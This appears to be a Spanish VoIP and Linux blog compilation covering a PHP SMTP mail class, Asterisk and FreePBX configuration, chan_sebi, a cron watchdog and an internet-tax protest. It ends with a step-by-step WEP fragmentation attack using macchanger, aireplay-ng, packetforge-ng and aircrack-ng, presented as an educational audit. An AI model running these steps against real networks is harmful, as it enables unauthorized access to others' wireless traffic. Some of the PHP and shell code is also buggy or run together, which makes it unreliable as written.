Hace unos días un amigo me contactó para preguntarme si sabía como enviar correos en formato HTML usando el protocolo SMTP, por lo que me acordé que hace unos 5 años desarrollé un sistema de cotizaciones vía web para la empresa dónde trabajaba, ahí enviaba correos mediante SMTP para informar de las cotizaciones que generaban los clientes desde la aplicación web.
Por lo que pongo aquí la clase que usé y que es muy fácil de usar, este código requiere de PHP PEAR Mail, el código está algo sucio pero es funcional
<?php require_once"Mail.php"; require_once"Mail/mime.php"; class Correo{ private$_mail_data=array(); private$to=""; private$subject=""; private$body=""; private$smtpout=null; //SMTPLOGIN, SMTPPASSWORD, SMTPSERVER, SMTPPORT, MAILFROM publicfunction __construct($vlogin,$vpassword,$vserver="smtpout.secureserver.net",$vport="80",$vfrom=""){ $this->_mail_data =array( 'host'=>$vserver, 'auth'=>true, 'username'=>$vlogin, 'password'=>$vpassword, 'port'=>$vport ); $this->crlf="\n"; $this->from=$vfrom; $this->smtpout=Mail::factory('smtp',$this->_mail_data); } //Envía un correo en Texto Plano publicfunction sendTextMail($to="",$subject="",$body="",$vfrom=""){ $_headers=array( 'From'=>(($vfrom!="")?$vfrom:$from), 'To'=>$to, 'Subject'=>$subject); //print_r ($this->_mail_data); $this->smtpout->IsHTML(true); $mail=$this->smtpout->send($to,$_headers,$body); return!(PEAR::isError($mail)); } //Envía un correo como HTML publicfunction sendmail($to="",$subject="",$body="",$vfrom=""){ $_headers=array( 'From'=>(($vfrom!="")?$vfrom:$from), 'To'=>$to, 'Subject'=>$subject); $mime=new Mail_mime($this->crlf); $mime->setHTMLBody($body); // $mime->addAttachment($file, 'text/plain'); //do not ever try to call these lines in reverse order $body=$mime->get(); $_headers=$mime->headers($_headers); $mail=$this->smtpout->send($to,$_headers,$body); return!(PEAR::isError($mail)); } }//fin de la clase //Objeto de la clase $correo=new Correo("SMTPUSER","SMTPPASSWORD","smtpout.secureserver.net","80","SMTPFROM"); //Envio de correo en formato HTML $correo->sendmail("CORREODESTINATARIO@gmail.com","SUBJECT","MENSAJE_EN_FORMATO_HTML","MAIL_FROM"); ?>
Por default pongo el servidor de correos de godaddy.
Espero pueda serle útil a alguien más.
Hace un rato un amigo de chiapas me contactó por el chat de gmail y me preguntaba que porqué desde el cliente SFTP de su Mac no podía conectarse a un servidor SFTP de CentOS.
El error que le enviaba el filezilla y otro que no recuerdo cuál es era el siguiente:
subsystem request failed on channel 0
Connection closed
Por lo que me dió el acceso a su servidor y entre a checar los logs, para empezar CentOS manda la información del log de SSH a /var/log/messages contrario a Ubuntu que lo manda a /var/log/auth.log
Al ver el log veía que el servidor de SFTP si aceptaba el password pero enviaba el siguiente error al log.
Feb 10 00:12:00 server sshd[31667]: subsystem request for sftp
Feb 10 00:12:00 server sshd[31667]: subsystem request for sftp failed, subsystem not found
Por lo que revisando en google encontré la causa en la siguiente liga :
Hace unos días estuve leyendo curioseando en internet encontré un blog dónde hablan sobre RoIP , la cuál es una forma de nombrar los enlaces entre sistemas de Radio con Tecnología de Voz sobre IP, en este caso Asterisk .
RoIP prácticamente necesita una gateway del lado de asterisk que sirve como interfaz de conexión entre los sistemas de radioaficionados con la tecnología de Voz sobre IP, tal como puede ser una tarjeta de puertos FXO, FXS, GSM, SIP, IAX, etc.,
Una de las ventajas de los sistemas de radio es su alcance, esto ya que las frecuencias en muchos casos son más bajas y más amplias que el uso de un WiFi o Microondas por ejemplo, aparte que son menos quisquillosas que las anteriores por así decirlo, por lo que el alcance puede ser mucho mayor y la cobertura puede llegar alcanzar a sitios remotos dónde las compañías telefónicas no han puestos sus servicios por cuestiones de costos.
Por lo que tengo entendido las conexiones entre los sistemas de radio y el gateway es PTT( Push To Talk), tal como funcionan los sistemas de Radio de Nextel en la actualidad.
La ventaja de meter un sistema de Radio en Asterisk, es que se puede usar el dialplan cuándo se abre un canal entre los 2 puntos, por lo que creo entender y quiero que asi pudiera funcionar es que al estar abierto el canal pudieran recibirse tonos DTMF, de tal forma que se pudieran leer esos tonos DTMF y abrir un canal adicional para poder hacer una llamada en base a los dígitos recibidos y rutearlo a traves de troncales SIP, IAX, FXO o GSM, muy similar a como funciona un DISA.
De hecho hace un par de meses desarrollé una aplicación basada en AMI y AGI que hace esto, pero mediante teléfonos públicos que envían a un número fijo los números a marcar mediante tonos DTMF y secuencias de control, de tal forma que Asterisk recibía la llamada, abría otro canal y dependiendo la respuesta la enlazaba con el canal abierto proveniente del teléfono público.
Entonces pensando en algo similar creo que sería factible poder implementar un sistema de radio que haga convergencia con VoIP a traves de Asterisk.
Para poder hacer la convergencia ya existen tarjetas de radio compatibles con Asterisk, de hecho existe un canal específico para esta tecnología ya implementado en Asterisk, por lo que solo falta encontrar algún proyecto y patrocinador para poder echar andar esta tecnología en alguna de las tantas regiones marginadas de México.
Puede verse más información sobre RoIP en el Blog Alex Casanova quién es un experto en el tema de RoIP : http://www.bicubik.net .
En OaxRom Mobile Computing hemos modificado un sistema de tarificación telefónico el cuál está basado en AsterBilling. La modifiación la hemos realizado ya que AsterBilling requiere licencias en la parte de monitoreo de llamadas, pero la parte de la interfaz web del tarificador es OpenSource y es la parte del software que utilizamos para que muestre los datos en base al CDR de Asterisk directamente. Entre otras ventajas que hemos añadido al nuevo software de tarificador para Asterisk PBX que hemos desarrollado y que pronto liberaremos el código es que permite enviar el costo de la llamada en tiempo real a la pantalla de teléfonos SIP que soporten SIP MESSAGE.
Continuemos con el tema del post. En este caso hemos usado FreePBX como entorno de configuración de Asterisk, pero como FreePBX trae su propia base de datos y tabla para el manejor de CDR, en este caso fué necesario modificar esta configuración para poder apuntar a la base de datos del software del tarificador que concentra al sistema de tarificación telefónica junto con el CDR de Asterisk y de FreePBX.
Primero para modificar la configuración del CDR de Asterisk es necesario seguir los siguientes pasos descritos en un post anterior aquí:
Ya que se hayan hechos los cambios en Asterisk quedaría hacer los cambios sobre FreePBX tal como se indica a continuación.
Editar el archivo amportal.conf sudo editor /etc/amportal.conf
Agregar las siguientes líneas CDRDBHOST=localhost CDRDBPORT=3306 CDRDBUSER=USERTARIFICADOR CDRDBPASS=PASSWORDTARIFICADOR CDRDBNAME=DBNAMETARIFICAODR CDRDBTYPE=mysql CDRDBTABLENAME=cdr
Con esto solo basta aplicar los cambios en freepbx /usr/src/freepbx*/apply_conf.sh
Y por último reiniciar asterisk sudo amportal restart
Ahora solo hay que ver la base de datos y verificar que el contenido se muestre en los reportes de FreePBX.
Aquí vemos el contenido del CDR de FreePBX & Asterisk
Y en el tarificador podemos ver las llamadas tarificadas para la cabina 103 que es desde dónde se originaron las llamadas, para esto desde el sistema de tarificación habilitamos que tarifique llamadas con longitud de destino de 3 digitos y el costo de cargo de conexión es por 2 pesos por los primeros 60 segundos y 1 peso adicional por 60 segundos adicionales.
Comparando en google trends algunas de las diferentes marcas y tecnologías de PBX existentes en el mercado, veo que Asterisk está muy por encima en las preferencias de búsquedas de las marcas que en el pasado fueron líderes tales como Panasonic, Avaya, Nortel, Cisco, Siemens, Mitel incluso nuevas PBX basadas en software como lo es 3CX.
Debido a que Google Trends solo permite comparar 5 términos al instante por lo qué primero comparé Asterisk PBX con Mitel PBX, Panasonic PBX, Nortel PBX, Avaya PBX y el resultado se muestra en la siguiente figura.
Como vemos en ambas gráficas la comparación entre Asterisk y las diversas tecnologías competidoras a excepcioón de 3CX da a Asterisk un margen de ventaja en la preferencia de búsquedas de los usuarios con respecto a las otras marcas. Esto tiene una sencilla explicación, el gran auge que está teniendo Asterisk, ya que al ser un proyecto abierto la cantidad de módulos y aplicaciones que se han desarrollado alrededor de esta tencología han permitido que su uso en niveles empresariales, educaciones, científicos, de seguridad, gobierno, entidades bancarias, etc., sea el más adecuado por el costo/beneficio.
3CX en las gráficas se muestra mucho más arriba que Asterisk, esto también es normal ya que 3CX es una PBX basada en software que funciona sobre Windows, su instalación es mucho más fácil con módulos principales de un conmutador teléfonico. Entre 3CX y Asterisk hay mucha diferencia ya que 3CX es software cerrado y basado en licencias, por lo que su desarrollo va mucho más atrasado en comparación de las aplicaciones que actualmente estan funcionando bajo Asterisk tales como reconocimiento de voz, texto a voz, comunicación con bases de datos, interfaces con diversos lenguajes de programación, configuración por scripts, interfaces con múltiples dispositivos de hardware, comunicaciòn con diversos protocolos, entre otras muchas ventajas que presenta Asterisk como un verdadero PBX de Altura.
Hace unos días instalé un Conmutador de Voz sobre IP basado en Asterisk para un cliente, todo jaló bien, su tarjeta Digium de 4 Puertos FXO, su IVR, DISA, Grupos de Marcación, recepción y envío mediante fax virtuales, etc., pero al final había un solo detalle, las voces pregrabadas de Asterisk no se escuchaban bien, esas voces que te dicen que "la extensión no está disponible", "marcación incorrecta", etc, etc. se escuchaban bajas y con mucho ruido.
Al revisar los Teléfonos VoIP que estaban usando en la configuración noté que solo soportaban los códecs ulaw, alaw, g729 y g723, por lo que de ahí se derivaba el detalle, ya que las voces pregrabadas estaban en formato GSM, entonces asterisk al realizad transcoding de GSM a g711u(ulaw) al parecer el teléfono no lo aceptaba tan bien que por ello se generaba la poca calidad de las voces pregrabadas.
Para esto no se me ocurrió más que convertir las voces de GSM a ulaw haciendo uso de asterisk mediante el comando :
Con esto básicamente ya podremos convertir nuestros archivos GSM a ULAW, de tal forma que podría sacarnos de un apuro como el que me salió aquella mañana en las oficinas de mi cliente.
Solo como recomendación es necesario tener permisos de escritura sobre el directorio dónde se va hacer la conversión de formato.
Hace tiempo había visto en el grupo de asterisk en google que vienen posteando información sobre chan_sebi pero nunca le presté atención, hasta hace unos días que ví que habían posteado que el desarrollador principal de chan_sebi, conocido como odicha había sido aceptado como desarrollador oficial de asterisk, por lo que me llamó la atención la contribución que hizo a esta tecnología.
Al leer información sobre chan_sebi, realmente si me sorprendió, ya que es una alternativa bastante económica y eficiente de integrar redes GSM dentro de Asterisk.
¿Porqué tanto revuelo por chan_sebi?
Actualmente la forma de conectar redes GSM a Asterisk es mediante telulares GSM
De tal forma que las llamadas a números móviles se sacan por telulares, en vez de sacarlos por líneas analógicas tradicionales como Telmex, Axtel o Maxcom en el caso de México dónde llamar a un celular te cuesta más de $0.25 Us Dlls usando estas compañías, mientras que usando un telular te cuesta desde $0.00 hasta $0.10 Us Dlls dependiendo del plan que se tenga con una compañía móvil.
El detalle que actualmente un telular te cuesta alrededor de $200.00 US Dlls, más aparte requieres de un puerto FXO en el conmutador lo que suma otros $100.00 US Dlls.
Al usar chan_sebi, ya no se usaría un telular ni se requeriría de un puerto FXO para conectar Asterisk a la red GSM, solo bastaría un dispositivo USB como el siguiente que es un Huawei E169, el cuál tiene capacidad de comunicación de voz y datos, por lo que usando chan_sebi se puede usar este dispositivo como Gateway GSM con la posibilidad de poder también enviar SMS aparte de usarlo como troncal GSM.
El costo de estos dispositivos está alrededor de $50.00 US Dlls, por lo que su costo baja considerablemente en comparación de usar un Telular+FXO.
Incluso algunas compañías en un futuro pudieran dar este dispositivo con un costo cero adquiriendo un plan de telefonía móvil.
El único detalle y el peor de todos, es que este dispositivo no lo venden aquí en México, aquí hay otros modem usb Huawei, pero solo tienen la capacidad de enviar datos, pero no voz, por lo que solo podrían enviarse SMS a traves de ellos pero no recibir y hacer llamadas GSM.
En este caso la única opción sería importarlos de china, pero para eso se requeriría de adquirir un gran lote y hacer una inversión de varios miles de dolares.
Hace un mes se llevó acabo una protesta pacífica en el parque hundido de la Ciudad de México contra el impuesto al 3% a las comunicaciones dentro de las que se incluyen internet, esta protesta se organizó desde el internet por gente relacionada directamente a las comunicaciones e internet.
Protesta pacífica de Cibernautas contra el impuesto al internet
Uniéndome a la inconformidad contra la ambición voraz de los políticos por vivir bien a costa del pueblo copio aquí textualmente lo que comentan en el blog de Hola Oaxaca :
El dictamen que el Senado regresó con modificaciones a la cámara de diputados, que fue aprobado en el pleno de San Lázaro, y que se encuentra disponible en la dirección http://gaceta.diputados.gob.mx/Gaceta/61/2009/oct/20091031-B.pdf , dice en su artículo 8—el referente a las exenciones—en la fracción 4, inciso D, lo siguiente:
“Artículo 8. Fracción 4. (no aplicará el impuesto de 3%) Por los servicios de telecomunicaciones siguientes:
“D) De acceso a Internet, a través de una red fija o móvil, consistente en todos los servicios, aplicaciones y contenidos que mediante dicho acceso a Internet se presten a través de una red de telecomunicaciones.
“Cuando los servicios a que se refiere el párrafo anterior se ofrezcan de manera conjunta con otros servicios que se presten a través de una red pública de telecomunicaciones, la exención a que se refiere este inciso será procedente siempre que en el comprobante respectivo se determine la contraprestación correspondiente al servicio de acceso a Internet de manera separada a los demás servicios de telecomunicaciones que se presten a través de una red pública y que dicha contraprestación se determine de acuerdo con los precios y montos de las contraprestaciones que se hubieran cobrado de no haberse proporcionado el servicio en forma conjunta con otros servicios de telecomunicaciones gravados por esta ley. En este caso los servicios de Internet exentos no podrán exceder del 30% del total de las contraprestaciones antes referidas que se facturen en forma conjunta.”
En español y para que se entienda, significa que el servicio de Internet ya sea fijo o móvil, estará exento de impuesto, SOLO cuando se facture por separado de otros servicios de telecomunicaciones que se contraten y solo cuando en esa facturación SEPARADA no rebase el 30% del total de los servicios de telecomunicaciones contratados.
En pocas palabras, el impuesto se aplicará a TODOS, porque telmex, telcel, iusacell, cablemas, etc, venden su servicio de Internet en PAQUETE, no puedes contratar los servicios por separado y aunque así fuera, el gobierno te estaría obligando a consumir mas de los otros servicios (teléfono, televisión por cable o satelital) para que pudieras hacer un 60% de tu factura y así aplicar el descuento del 3%.
Desafortunadamente México es un pais dónde hay poca inversión para investigación científica y tecnológica, siendo México tirstemente un pais dónde más del 90% de la tecnología la tenemos que importar y eso es lo que nos ha puesto actualmente en un nivel muy bajo de competitividad frente a países como Brasil, India, Argentina, Chile, Australia, esto sin mencionar a las actuales potencias tecnológicas como lo son USA, China, Alemania, Inglaterra, Israel, entre otras muchas naciones que si le han apostado a la inversión en la educación y conocimiento de su gente.
Lo malo no solo es el impuesto al 3% de internet, de hecho lo aplaudiría si otras fueran las condiciones actuales, como por ejemplo mayor cobertura, mejor calidad de servicio, mayor competencia, altas velocidades de ancho de banda, servicio sin bloqueos, accesos inalámbricos de largo alcance con tecnologías abiertas como WiMax, entre otros aspectos que no se han dado debido a los oligopolios que el gobierno ha permitido y dónde el impuesto al 3% no afectará a las empresas proveedoras de servicios, ya que es un Impuesto Trasladado si no como siempre el afectado será el usuario final, yo, tú, eĺ, nosotros, ustedes quienes mes con mes pagamos servicios de telefonía, internet, entre otros.
El internet es una herramienta de conocimiento como los libros, deben de impulsarlo, no gravarlo,
Hace unos días un amigo me envío un correo pidiéndome que le indicara como ejecutar un script que estuviera checando constantemente si un proceso esta ejecutándose y si no que el script lo ejecutara.
Para esto le envíe el siguiente ejemplo y lo posteo por aquí por si alguien le fuera de utilidad..
#ejecutamos este comando para crear un directorio# sudomkdir/scripts #editamos el script# sudo editor /scripts/script.sh #***colocar lo siguiente dentro del script**# #/bin/bash if[[!`pidof-s nombre_del_proceso`]]; then sudo/ruta_del_proceso/nombre_del_proceso fi #****Hasta aqui***# #ejecutar este comando para asignar permisos de ejecución chmod +x /scripts/script.sh #Por ejemplo que el script anterior lo guardáramos en /scripts/script.sh
Para que este script se ejecute y verifique cada x tiempo si asterisk esta arriba hay que ponerlo en el archivo de /etc/crontab #ejecutar sudo editor /etc/crontab #agregar al final del archivo lo siguiente
# m h dom mon dow user command 1/10**** root /scripts/script.sh #***hasta aqui*******
#lo anterior indica que el escript se ejecutará cada 10 minutos todas las horas y todos los días del mes, el usuario que lo ejecutará es root y el ecript está en /script/script.sh #despues guardar los cambios en /etc/crontab y luego reiniciar ejecutando sudo/etc/init.d/cron restart
Entre los servicios que ofrezco son los estudios de propagación de señal, que básicamente consiste en analizar el comportamiento de las señales de radiofrecuencia en diversos ambientes, esto para poder implementar redes inalámbricas de datos en almacenes, bodegas, centros de distribución, etc., Un estudio de propagación de señal siempre es importante llevarse a cabo antes de empezar a instalar Access Points esto para tener la certeza de que la cobertura si dará servicio a las terminales móviles. En algunos casos dónde ya existen redes inalámbricas, siempre es importante también realizar Auditorías inalámbricas que es muy necesaria para auditar los niveles de seguridad y eficiencia de una red inalámbrica, ya que permite descubrir las vulnerabilidades o fallos que puede tener una red inalámbrica lo que puede perjudicar en las conexiones con los clientes inalámbricos e incluso de tener intrusos dentro de la organización, que en el mejor de los casos solo pueda estar ocupando ancho de banda, pero en otros puede incluso llegar a "snifear" todo el tráfico de red.
Uno de los principales ataques más avanzados en las redes inalámbricas es el ataque por fragmentación, en este caso muestro un tutorial rápidamente de como se lleva a cabo, esto con la finalidad de que se tenga el conocimiento y se tomen las medidas preventivas de seguridad en sus redes inalámbricas, ya que actualmente muchos fabricantes configuran sus Routers Inalámbricos solo con WEP el cuál es una seguridad deficiente.
Para esto siempre es requerido realizar una Auditoría Inalámbrica haciendo uso de un LiveCD de Seguridad como WifiSlax con algún usb con chip RTL8187.
La siguiente información es con fines educativos y preventivos para los administradores de sistemas.
rm-rf llave*
iwconfig wlan0 rate 1M mode monitor
macchanger -m 00:A0:F8:01:02:03 wlan0
airodump-ng wlan0 #Teclear Ctrl +C despues de obtener el listado de redes disponibles #Me devuelve info de las redes inalámbricas cercanas **
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
00:21:7C:CA:B7:F9 8261 0 6 54. WEP WEP OPN PhylevnWireless
MAC del AP: 00:21:7C:CA:B7:F9
Canal: 6
ESSID: PhylevnWireless
ENC: WEP
CIF: WEP **
iwconfig wlan0 channel 6
airodump-ng --bssid 00:21:7C:CA:B7:F9 -w llave -c6 wlan0 #Abrir una consola (Consola <img src="plugins/Emoticons/images/face-glasses.png" border="0" alt="face-glasses.png " width="16" height="16" />
aireplay-ng -16-e PhylevnWireless -a 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0 #Abrir una consola (Consola C)
aireplay-ng -5-b 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0 #Cuándo diga Use this packet ? teclear "y" sin las comillas #Use this packet ? y #Al final de ejecutar este comando me mandará algo como esto:
Saving keystream in fragment-0701-205127.xor #ese archivo lo usaremos para generar un paquete bomba
packetforge-ng -0-a 00:21:7C:CA:B7:F9 -h 00:A0:f8:01:02:03 -k 192.168.1.100 -l 192.168.1.176 -y fragment-0701-205127.xor -w bomba #-k usar la misma IP de ejemplo #-l usar la misma IP de ejemplo -y es el archivo fragment-0701-205127.xor que se generó anteriormente con el comando "aireplay-ng -5 -b 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 wlan0" -w es el paquete bomba generado #inyección de paquetes con el paquete bomba sudo aireplay-ng -2-b 00:21:7C:CA:B7:F9 -h 00:A0:F8:01:02:03 -r bomba wlan0 #cuándo pregunte Use this packet ? teclear "y", sin comillas #Use this packet ? y #y Ahí debería a empezar hacer el ataque.. #Abri una consola (Consola D) #de ahi en otra ventana ejecutar cada que vaya avanzando el 5000 el valor de #data en la primer consola A hasta obtener la llave wep, cp llave-01.cap llave.cap
aircrack-ng -z llave.cap
Comentarios Recientes